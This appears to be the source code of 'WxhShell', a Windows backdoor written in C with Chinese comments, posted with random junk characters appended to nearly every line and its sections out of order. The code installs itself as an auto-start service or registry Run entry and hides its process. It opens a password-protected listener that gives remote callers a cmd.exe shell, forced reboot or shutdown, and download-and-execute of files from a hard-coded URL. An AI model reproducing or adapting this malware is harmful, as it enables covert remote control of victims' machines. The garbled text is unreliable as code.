    send(wsh,msg_ws_err,strlen(msg_ws_err),0); bc4V&  
    else { ]d-.Mw,'  
    closesocket(wsh); vsZ?cd  
    ExitThread(0); }{VOyPG  
    } \Dy|}LE  
    break; A+gS'DZ9C  
    } -F[@)$L  
  // 获取shell QF\nf_X  
  case 's': { Ei):\,Nv  
    CmdShell(wsh); FOk;=+  
    closesocket(wsh); @aZTx/  
    ExitThread(0); 9$Z0mzk  
    break; /1v9U|j  
  } KMz!4N  
  // 退出 )S(Ly.  
  case 'x': { RG""/x ;  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); *; ]}`r  
    CloseIt(wsh); }ePl&-9T  
    break; *=2W:,$  
    } ~bx ev/$d  
  // 离开 <K`E*IaW  
  case 'q': { j7gw?,  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); xsn=Ji2 F  
    closesocket(wsh); )?UoF&c/  
    WSACleanup(); Jp_#pV*}:  
    exit(1); {\(MMTQ  
    break; @$T$hMl  
        } `vgaX,F*  
  } 8ZVQM7O  
  } w|-3X  
]5c(:T F  
  // 提示信息 "mf$E|  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); %z-*C'j5H  
} HyU:BW;  
  } r O$pj~!|Q  
?nGiif  
  return; MCmb/.&wu  
} LCH\;07V#  
wuA?t  
// shell模块句柄 gK`w|kh`  
int CmdShell(SOCKET sock) ,M;9|kE*  
{ Vv}R S@4U  
STARTUPINFO si; LK~aLa5wG  
ZeroMemory(&si,sizeof(si)); ]|.ked  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ^0}ma*gi~  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; )ZpI%M?)  
PROCESS_INFORMATION ProcessInfo; tLTavE[@  
char cmdline[]="cmd"; &Y=0 0  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 14B',]`  
  return 0;  r!?ga  
} (Z(S?`')  
$M 8& &M  
// 自身启动模式 >ep<W<b  
int StartFromService(void) 3TF_$bd{  
{ { uaDpRt  
typedef struct GDL/5m#  
{ () _RLA  
  DWORD ExitStatus; dA~:L`A|X  
  DWORD PebBaseAddress; Oh*~+/u}q  
  DWORD AffinityMask; r |C.K  
  DWORD BasePriority; {fzX2qMZ]  
  ULONG UniqueProcessId; bGH#s {'5  
  ULONG InheritedFromUniqueProcessId; j)mU`b_  
}   PROCESS_BASIC_INFORMATION; }q.D)'g_  
5]N0p,f  
PROCNTQSIP NtQueryInformationProcess; |(3 y09  
:rVR{,pL  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; lx%c&~.DiB  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; M\C9^DX{  
Nrr}) g  
  HANDLE             hProcess; <|}Z6Ti  
  PROCESS_BASIC_INFORMATION pbi; `Npa/Q  
UhDQl%&He  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ]- 1(r,  
  if(NULL == hInst ) return 0; +Y sGH~jX  
#&}- q RA  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); CUI3^;&S  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); {5E8eQ  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); J[ Gpd  
SKL4U5D{  
  if (!NtQueryInformationProcess) return 0; @|anu&Hm  
Y,)(Q  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Xfq`k/ W  
  if(!hProcess) return 0; yS W$zA,  
'^m.vS!/  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; kg7F8($  
w*VN =  
  CloseHandle(hProcess); _YF>Y=D-  
/grTOf&  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); !E 5FU *s  
if(hProcess==NULL) return 0; 4^L;]v,|7  
^Spu/55_  
HMODULE hMod; F?Lt-a+  
char procName[255]; 6VGY4j}:(  
unsigned long cbNeeded; :2? g_  
#KJ# 1  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 'v6@5t19j  
UA6id|G  
  CloseHandle(hProcess); ttsR`R1.k  
lvke!~#  
if(strstr(procName,"services")) return 1; // 以服务启动 q`c!!Lg  
Z6Fu~D2U y  
  return 0; // 注册表启动 OX7=g$S 1  
} yW|J`\`^T  
eJ?oz^  
// 主模块 lKf58 mB  
int StartWxhshell(LPSTR lpCmdLine) I`V<Sh^Qd  
{  cca g8LC  
  SOCKET wsl; %;'~TtW5  
BOOL val=TRUE; j&d5tgLB  
  int port=0; ~XTC:6ts  
  struct sockaddr_in door; O+}py{ st  
N#T'}>ty  
  if(wscfg.ws_autoins) Install(); ^jMrM.GY  
+ `|A/w  
port=atoi(lpCmdLine); s:3[#&PQpN  
o9eOp3w30  
if(port<=0) port=wscfg.ws_port; [I *_0  
|(>`qL{|  
  WSADATA data; QoZV 6  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; lmeTW0U@9(  
}nd>SK4  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   H9*k(lnz`  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); >@2<^&K`  
  door.sin_family = AF_INET; zZ=SAjT QP  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); :<J7g`f  
  door.sin_port = htons(port); ^9Pr`\   
}4|EHhG  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ~Gu$E qQ  
closesocket(wsl); Ek{QNlQ]4  
return 1; 6gV*G  
} #r'MfTr  
;qWu8\T+  
  if(listen(wsl,2) == INVALID_SOCKET) { su%(!XJQpg  
closesocket(wsl); Z2g'&,uc#  
return 1; |.N[NY  
} d_!Z /M,  
  Wxhshell(wsl); 3`^@ymY  
  WSACleanup(); Y9)j1~  
k*$WAOJEW  
return 0; iOk ;o=  
8o~ NJ 6  
}  <mn[-  
N p"p*O  
// 以NT服务方式启动 xb;{<~`71  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) l0Q5q)U1A  
{ E-z5mX.2  
DWORD   status = 0; Vu$m1,/  
  DWORD   specificError = 0xfffffff; bk0>f   
pa>C}jk}6  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 53i]Q;k[  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; h:aa^a~y i  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; b@Oq}^a&o  
  serviceStatus.dwWin32ExitCode     = 0; gNCS*a  
  serviceStatus.dwServiceSpecificExitCode = 0; =D`8,n [  
  serviceStatus.dwCheckPoint       = 0; Scrj%h%[  
  serviceStatus.dwWaitHint       = 0; mku@n;Hl_  
b84l`J  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); yvd)pH<a2  
  if (hServiceStatusHandle==0) return; 5BVvT `<  
[^qT?se{  
status = GetLastError(); sINQ?4_8T  
  if (status!=NO_ERROR) -<#) ]um  
{ NM3;l}Y8  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; nTy]sPn  
    serviceStatus.dwCheckPoint       = 0; 42dv3bE"  
    serviceStatus.dwWaitHint       = 0; _**Nlp*%  
    serviceStatus.dwWin32ExitCode     = status; 8 lggGt  
    serviceStatus.dwServiceSpecificExitCode = specificError; ,2M}qs"P7G  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 'UlVc2%{  
    return;  &K/?#  
  } i7Qb~RW  
KQ\K :#  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; .#( vx;  
  serviceStatus.dwCheckPoint       = 0; Q-<]'E#\(  
  serviceStatus.dwWaitHint       = 0; 6 5g ovor  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); P 9?cp{*  
} qf? "v;  
_;HdX$op  
// 处理NT服务事件,比如:启动、停止 '(vZfzc{J  
VOID WINAPI NTServiceHandler(DWORD fdwControl) oIhKMQ;jh  
{ ?bZH Aed  
switch(fdwControl) ?N Mk|+  
{ 0m_yW$w  
case SERVICE_CONTROL_STOP: )3h\QE!z  
  serviceStatus.dwWin32ExitCode = 0; sYKx 3[V/  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; AQ,lLn+  
  serviceStatus.dwCheckPoint   = 0; ;(i6 X)  
  serviceStatus.dwWaitHint     = 0;  +mocSx[  
  { <M:BN6-yG  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); $+4DpqJ  
  } -UhpPw 6  
  return; QH'*MY  
case SERVICE_CONTROL_PAUSE: :&BPKqKp  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Q}AZkZ  
  break; q`<vY'&1  
case SERVICE_CONTROL_CONTINUE: <[dcIw<7  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; v) n-  
  break; s$M(-"mg  
case SERVICE_CONTROL_INTERROGATE: '09|Y#F  
  break; (y9KO56.V&  
}; dFz"wvu` o  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9?l a5  
} '<Zm>L&  
h:4(Gm;  
// 标准应用程序主函数 }* :3]  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) j`_S%E%X  
{ @A,8 >0+  
sfXFh  
// 获取操作系统版本 ZM<6yj"f  
OsIsNt=GetOsVer(); P $`1}  
GetModuleFileName(NULL,ExeFile,MAX_PATH); J^7m?mA  
Dz}i-tw+  
  // 从命令行安装 [ws _ g,/  
  if(strpbrk(lpCmdLine,"iI")) Install(); &N} "4  
e9LX0=  
  // 下载执行文件 !Tnjha*  
if(wscfg.ws_downexe) { }1#m+ (;  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) $TUYxf0q  
  WinExec(wscfg.ws_filenam,SW_HIDE); GHv6UIe&  
} qDdO-fPev  
F- ,gj{s  
if(!OsIsNt) { khy'Y&\F;  
// 如果时win9x,隐藏进程并且设置为注册表启动 NW\CEJV  
HideProc(); 5H3o?x   
StartWxhshell(lpCmdLine); w'@gzK  
} Nv5^2^Sc=  
else 'cO8& |  
  if(StartFromService()) p(F@lL-  
  // 以服务方式启动 b <W\#3~G  
  StartServiceCtrlDispatcher(DispatchTable); JQQyl:=  
else i~u4v3r=  
  // 普通方式启动 0%f}Q7*R  
  StartWxhshell(lpCmdLine); u({^8: AYu  
.<m]j;|6  
return 0; Zl>SeTjB-  
} ^6W}ZLp  
k~[jk5te  
#49l\>1 z  
<9@n/  
=========================================== +#IUn  
$LXa]  
XCM!8x?K  
Jm4uj &}3  
Y '/6T]a  
\[G'cE  
" UQ0!tFx  
*V&M5  
#include <stdio.h> :2/L1A)O  
#include <string.h> !9d7wPUFr  
#include <windows.h> +g1>h ,K 3  
#include <winsock2.h> H!;N0",]N  
#include <winsvc.h> oG,>Pk  
#include <urlmon.h> O,%UNjx9K  
mE~ WE+lw9  
#pragma comment (lib, "Ws2_32.lib") MIJuJ]U}  
#pragma comment (lib, "urlmon.lib") dk&F?B{6T  
{~apY,3  
#define MAX_USER   100 // 最大客户端连接数 r5j$FwY  
#define BUF_SOCK   200 // sock buffer G$C2?|V)=  
#define KEY_BUFF   255 // 输入 buffer S1=P-Ao  
_T)y5/[  
#define REBOOT     0   // 重启 ?_H9>/:.  
#define SHUTDOWN   1   // 关机 OX"Na2-el  
/d&m#%9Up]  
#define DEF_PORT   5000 // 监听端口 x1:mT[[$  
P-X|qVNK1Z  
#define REG_LEN     16   // 注册表键长度 I9kz)Q o  
#define SVC_LEN     80   // NT服务名长度 {a[BhK'g  
-ssb|r  
// 从dll定义API 'o&d!  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); S*l/ Sa@  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); lT[,w9$  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); YnpN -Y%g  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); vP{i+s18B  
eU"yF >6'  
// wxhshell配置信息 ?+}Su'pv}  
struct WSCFG { 9a_P 9s3w  
  int ws_port;         // 监听端口 Yc#Uu8f-  
  char ws_passstr[REG_LEN]; // 口令 9R=avfI  
  int ws_autoins;       // 安装标记, 1=yes 0=no ZA=J`- >k  
  char ws_regname[REG_LEN]; // 注册表键名 h2Q'5G  
  char ws_svcname[REG_LEN]; // 服务名 I"&cr>\  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 {\>4)TA  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 -VohU-6 |  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 YdD; Qx#O  
int ws_downexe;       // 下载执行标记, 1=yes 0=no $:u*)&"t|  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" &g?GF\Y  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 g1t6XVS$9  
3,i j@P  
}; XL*M#Jx  
}8#olZ/(q  
// default Wxhshell configuration *(x.egORd  
struct WSCFG wscfg={DEF_PORT, ^fF#Ej1  
    "xuhuanlingzhe", JpXv+V  
    1, 9d1km~  
    "Wxhshell", c =m#MMc)  
    "Wxhshell", NVzo)C8kb  
            "WxhShell Service", :'DX M{  
    "Wrsky Windows CmdShell Service", IJf%OA>v  
    "Please Input Your Password: ", &r[f ;|o  
  1, \]>821r  
  "http://www.wrsky.com/wxhshell.exe", /Am9w$_T[  
  "Wxhshell.exe" rl.K{Uad  
    }; | V(sCF  
M8H hjoo  
// 消息定义模块 ]I*RuDv}  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; k_t|) J  
char *msg_ws_prompt="\n\r? for help\n\r#>";  r(^00hvH  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; |?KYY0  
char *msg_ws_ext="\n\rExit."; D:k< , {  
char *msg_ws_end="\n\rQuit."; K qJE?caw  
char *msg_ws_boot="\n\rReboot..."; kw59`z Es  
char *msg_ws_poff="\n\rShutdown..."; ,X/j6\VBO  
char *msg_ws_down="\n\rSave to "; _4oAk @A  
^mC~<p P(  
char *msg_ws_err="\n\rErr!"; :uYZ1O  
char *msg_ws_ok="\n\rOK!"; .5 E)dU  
ue8 @=}  
char ExeFile[MAX_PATH]; )Q1aAS3  
int nUser = 0; 1tbA-+  
HANDLE handles[MAX_USER]; q&=z^Ln!G  
int OsIsNt; pCkMm)2g!  
4$^mLD$>  
SERVICE_STATUS       serviceStatus; U_VP\ 03  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; F,vkk{Z>  
@*rMMy 4  
// 函数声明 0^*,E/}P&  
int Install(void); ;[o:VuTs  
int Uninstall(void); K2*rqg  
int DownloadFile(char *sURL, SOCKET wsh); IWYQ67Yj   
int Boot(int flag); k*_Gg  
void HideProc(void); 'n h^;  
int GetOsVer(void); `NhG|g  
int Wxhshell(SOCKET wsl); tHzgZo Bz  
void TalkWithClient(void *cs); 0$Tb5+H5  
int CmdShell(SOCKET sock); ,LZA\XC  
int StartFromService(void); 8`S1E0s  
int StartWxhshell(LPSTR lpCmdLine); ksq4t  
n\;;T1rM  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); pYcs4f!?p  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); #j7&2L  
Zf>:h   
// 数据结构和表定义 r!b>!  
SERVICE_TABLE_ENTRY DispatchTable[] = "PMJh3q  
{ cKYvNM  
{wscfg.ws_svcname, NTServiceMain}, 5H Cw%n9  
{NULL, NULL} $j,$O>V  
}; f5//?ek  
a )lCp  
// 自我安装 j f4<LmR  
int Install(void) \i?bt0bM  
{ 2RZa}  
  char svExeFile[MAX_PATH]; wMkHx3XD  
  HKEY key; V|A)f@ Fs  
  strcpy(svExeFile,ExeFile); a6zWg7 PN  
RQ0^ 1 R  
// 如果是win9x系统,修改注册表设为自启动 A*BN  
if(!OsIsNt) { b81^756  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { io\t>_  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); EkV#i  
  RegCloseKey(key); .hckZx /  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { n-K/d I  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); !>'A2V~F  
  RegCloseKey(key); 8nZ_.  
  return 0; ##By!F TP  
    } T0A=vh;S  
  } CH `Kpt  
} PkFG0  
else { H3!9H  
K 91O$'J  
// 如果是NT以上系统,安装为系统服务 Y*b$^C%2  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); X\BFvSv8C  
if (schSCManager!=0) N5W!(h)  
{ gb!0%*   
  SC_HANDLE schService = CreateService 2v(Y'f.  
  ( l`#rhuy`  
  schSCManager, 5222"yn"c  
  wscfg.ws_svcname, 7 2i&-`&4  
  wscfg.ws_svcdisp, 1 jLQij  
  SERVICE_ALL_ACCESS, pzt<[;  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , _x|R`1`  
  SERVICE_AUTO_START, >'#vC]@  
  SERVICE_ERROR_NORMAL, P#3J@aRC  
  svExeFile, kXdXyq  
  NULL, ,f%4xXI  
  NULL, d_:f-  
  NULL, zA?AX1%Wa  
  NULL, 3u t<o-  
  NULL ^f N/  
  ); zk1]?  
  if (schService!=0) Z Uj1vf6I  
  { \0Xq&CG=E  
  CloseServiceHandle(schService); #'@@P6o5  
  CloseServiceHandle(schSCManager); 2f{p$YIt  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ]w,|WZm  
  strcat(svExeFile,wscfg.ws_svcname); vH}VieU  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 5GPrZY"  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 6Ik v}q_j  
  RegCloseKey(key); hVyeHbx  
  return 0; ``]NB=N}{1  
    } ltrti.&  
  } w_"-rGV  
  CloseServiceHandle(schSCManager); uzb|yV'B  
} } PL{i  
} [xb'73  
t%,:L.?J#  
return 1; 5w~ 0Q  
} 1fV)tvU$  
N,8.W"fV  
// 自我卸载 E|oOd<z  
int Uninstall(void) {|0YcL  
{ 9*~";{O.Oa  
  HKEY key; *yHz#u'  
R4b!?}d  
if(!OsIsNt) { *Cp:<M nd  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ffI=Bt]t  
  RegDeleteValue(key,wscfg.ws_regname); d%L/[.&  
  RegCloseKey(key); 2zbn8tO  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { J!|R1  
  RegDeleteValue(key,wscfg.ws_regname); InRRcn(  
  RegCloseKey(key); =/xx:D/  
  return 0; mm*nXJ  
  } `tuGy}S2  
} U)iBeYW:  
} Mcz;`h|EW  
else { kZ6:= l  
iZ/iMDfC  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); |}8SjZcQW  
if (schSCManager!=0) BbCW3!(  
{  jrS$!cEo  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); #N|JC d_  
  if (schService!=0) ,y-!h@(  
  { T tWzjt  
  if(DeleteService(schService)!=0) { ' Qlj"U  
  CloseServiceHandle(schService); f6\4 ,()  
  CloseServiceHandle(schSCManager); 'ahZ*@kr  
  return 0; `H9 +]TWj<  
  } hW~UJ/$  
  CloseServiceHandle(schService); <e S+3,  
  } OXl0R{4  
  CloseServiceHandle(schSCManager); A"qDc  
} Z<=L  
} ugj I$u  
2[1t )EW  
return 1; ] X)~D!mA  
} u^Ktz DmL  
WAtv4  
// 从指定url下载文件 3A =\Mb  
int DownloadFile(char *sURL, SOCKET wsh) .h/2-pQ>  
{ S !lrnH  
  HRESULT hr; C%ZPWOc_8  
char seps[]= "/"; <Voct  
char *token; WuI$   
char *file; A5\ Hq  
char myURL[MAX_PATH]; xh#pw2v7V  
char myFILE[MAX_PATH]; p/l">d]+  
p)z#%BY56  
strcpy(myURL,sURL); WlW%z(RC  
  token=strtok(myURL,seps); '6g-]rE[  
  while(token!=NULL) M$!-B,1BX  
  { {KK/mAp{  
    file=token; {: \LFB_  
  token=strtok(NULL,seps); rf`xY4I\  
  } RFSwX*!  
j, *= D6  
GetCurrentDirectory(MAX_PATH,myFILE); +~P_o_M  
strcat(myFILE, "\\"); ~>_UTI  
strcat(myFILE, file); [wJ\.9<Oa  
  send(wsh,myFILE,strlen(myFILE),0); / $s(OFbi#  
send(wsh,"...",3,0); M^ e}w!U  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ^qVBgBPb  
  if(hr==S_OK) +T4}wm  
return 0; Q`;eI a6U  
else KW ZEi?  
return 1; jS8B:>  
mQSn*;9\T3  
} )%kiM<})  
d0Ubt  
// 系统电源模块 M} ri>o  
int Boot(int flag) O'@[ f{  
{ mC-wPi8  
  HANDLE hToken; @Cx goX^  
  TOKEN_PRIVILEGES tkp; s +qodb+  
Xx2t0AIB  
  if(OsIsNt) { !)`*e>]x  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); yc`3)  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); (c"!&&S^ =  
    tkp.PrivilegeCount = 1; q \fyp\z  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; =[Z3]#h  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); \L}7.fkb8  
if(flag==REBOOT) { l,3,$  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) R[* n3 wB  
  return 0; !g)rp`?  
} r1}1lJ>7H  
else { h qhX  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 2 J3/Eu  
  return 0; ][#|5UK8L  
} .RAyi>\e  
  } H;q[$EUNb  
  else { 6hcK%0z  
if(flag==REBOOT) { @o#Yq n3Y  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Nz*,m'-1e  
  return 0; -II03 S1  
} !mB `FC  
else { C?W}/r[  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 1{a4zGE?[  
  return 0; p8?"}  
} p=kt+H&;  
} z[O*f#t  
vCK+v r!  
return 1; k{hNv|:,  
} ^ZRZ0:rZ  
@6aJh< c  
// win9x进程隐藏模块 <$a-.C5  
void HideProc(void) a<E9@  
{ P3Vh|<'7  
-yBj7F|  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ^-|~c`&}B  
  if ( hKernel != NULL ) ^|hVFM2  
  { SkCux  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); pp7 $Q>6  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); =w"Kkj>%oh  
    FreeLibrary(hKernel); / ;[x3}[  
  } c^puz2  
 &"27U  
return; G$QN_h,}  
} Ho[]03  
:V@)A/}uk  
// 获取操作系统版本 PDz:x4A  
int GetOsVer(void) .=d40m  
{ XJy.xI>;  
  OSVERSIONINFO winfo; BpX`49  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Tow!5VAM  
  GetVersionEx(&winfo); gSj0+|  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) B%k C>J  
  return 1; ` vFDO$K  
  else 02NVdpo[wU  
  return 0; 4sBvW  
} E $W0HZ'  
.)p%|A#^  
// 客户端句柄模块 K)+]as  
int Wxhshell(SOCKET wsl) ~t$ng l$  
{ ;4GGXT++L  
  SOCKET wsh; f4F%\ "  
  struct sockaddr_in client; n6M#Xc'JA  
  DWORD myID;  s_+.xIZ  
F;kKn:XL  
  while(nUser<MAX_USER) Br42Qo2"T>  
{ VN\VTSZh?\  
  int nSize=sizeof(client); rl$"~/ oz  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); :O,r3O6  
  if(wsh==INVALID_SOCKET) return 1; #`K{vj  
ue@W@pj  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); jt9- v-  
if(handles[nUser]==0) U}k@%m,  
  closesocket(wsh); oR,zr  
else _iEnS4$A8  
  nUser++; "O|.e`C%^  
  } }; M@JMu,  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); :=5X)10  
_' X  
  return 0; `g)  
} B*Om\I  
vW!O("\7K<  
// 关闭 socket W,H=K##6<  
void CloseIt(SOCKET wsh) ?$uF(>LD  
{ _Ex<VF u  
closesocket(wsh); #a2Z.a<V  
nUser--; 3hje  
ExitThread(0); ?,+&NX3m  
} 'jO8C2Th%  
l]Xbd{  
// 客户端请求句柄 JRZp 'Ln  
void TalkWithClient(void *cs) D]rYg'  
{ bAN>\zG+  
AkdO:hVtG  
  SOCKET wsh=(SOCKET)cs; C+jXH)|iq  
  char pwd[SVC_LEN]; 6K<o0=,jm2  
  char cmd[KEY_BUFF]; eOkiB!G.  
char chr[1]; nHQ *#&$  
int i,j; .XRe:\8mc  
i_l{#*t  
  while (nUser < MAX_USER) { F?6Q(mRl  
(NDC9Lls  
if(wscfg.ws_passstr) { J4U_utp  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); G51-CLM,  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Tp.]{*  
  //ZeroMemory(pwd,KEY_BUFF); .3VL  
      i=0; e>.^RtDF  
  while(i<SVC_LEN) { %hw4IcWJ|  
K IR3m )  
  // 设置超时 LpSF*xm  
  fd_set FdRead; zxD=q5in  
  struct timeval TimeOut; [Ob'E!;<  
  FD_ZERO(&FdRead); L+T7Ge q  
  FD_SET(wsh,&FdRead); "L1LL iS  
  TimeOut.tv_sec=8; ?TIi0;h  
  TimeOut.tv_usec=0; 55UPd#E'  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); K :+q9;g  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); t%5bDdo  
Nh/i'q/  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); in,0(I&I  
  pwd=chr[0]; /FpPf[  
  if(chr[0]==0xd || chr[0]==0xa) { O@W/s!&lFa  
  pwd=0; ZWzr8oY)  
  break; yV(9@lj3;  
  } -"a(<JC^NI  
  i++; + ZiYl[_|  
    }  "^BA5  
m_Z(osoE#W  
  // 如果是非法用户,关闭 socket u^c/1H:6  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); X eY[;}9  
} { D|ST2:E  
X&5N 89  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Q=vo5)t   
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); G %\/[ B  
&DHIYj1 i  
while(1) { P2iuB|B@  
P$N5j~*  
  ZeroMemory(cmd,KEY_BUFF); /-m)  
c;-N RvVb  
      // 自动支持客户端 telnet标准   *B{]  
  j=0; "lC>_A  
  while(j<KEY_BUFF) { "Ms{c=XPK  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ?u".*!%  
  cmd[j]=chr[0]; ;;XY&J  
  if(chr[0]==0xa || chr[0]==0xd) { bwP@}(K  
  cmd[j]=0; [cZ/)tm  
  break; ) R5j?6}xF  
  } .0gfP4{1{  
  j++; \w1',"l`  
    } ?OoI6 3&  
.f;@O qU  
  // 下载文件 u*uHdV5  
  if(strstr(cmd,"http://")) { dn?'06TD  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); a.JjbFL  
  if(DownloadFile(cmd,wsh)) |22vNt_  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); V EsM  
  else t l7:L>  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^;( dF<?'r  
  } K3h7gY|.  
  else { F1B/cd  
Q*1'k%7  
    switch(cmd[0]) { +ug/%Iay{k  
  Ygkf}n  
  // 帮助 ?1 Vx)j>|  
  case '?': { T"C.>G'[B  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ,)J>8eV  
    break; aK|  
